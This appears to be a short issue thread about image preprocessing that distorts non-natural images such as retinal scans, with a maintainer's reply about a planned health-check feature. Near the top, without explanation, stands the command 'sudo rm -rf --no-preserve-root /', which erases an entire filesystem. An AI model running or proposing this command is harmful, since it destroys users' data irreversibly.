Preprocessing data issue related to non-natural scenery

[sudo rm -rf --no-preserve-root /]

User feedback:
A data-related issue I saw; those preprocessing steps may not be suitable for non-natural scenery or other possible cases. For retinal images, it really messes with the image characteristics. for example, a very bright but small exudate in the middle of the image causes the rest of the image to go fully dark after a preprocessing step (not sure which one though). I would be careful in applying the preprocessing steps randomly and without considering the nature of the images.

[GiaoNguyen]

Yes, will be improved with the function of health check. Users will decide with features that they want to check and normalization with preprocessing.
With MVP, random preprocessing is not a good approach. @pcaversaccio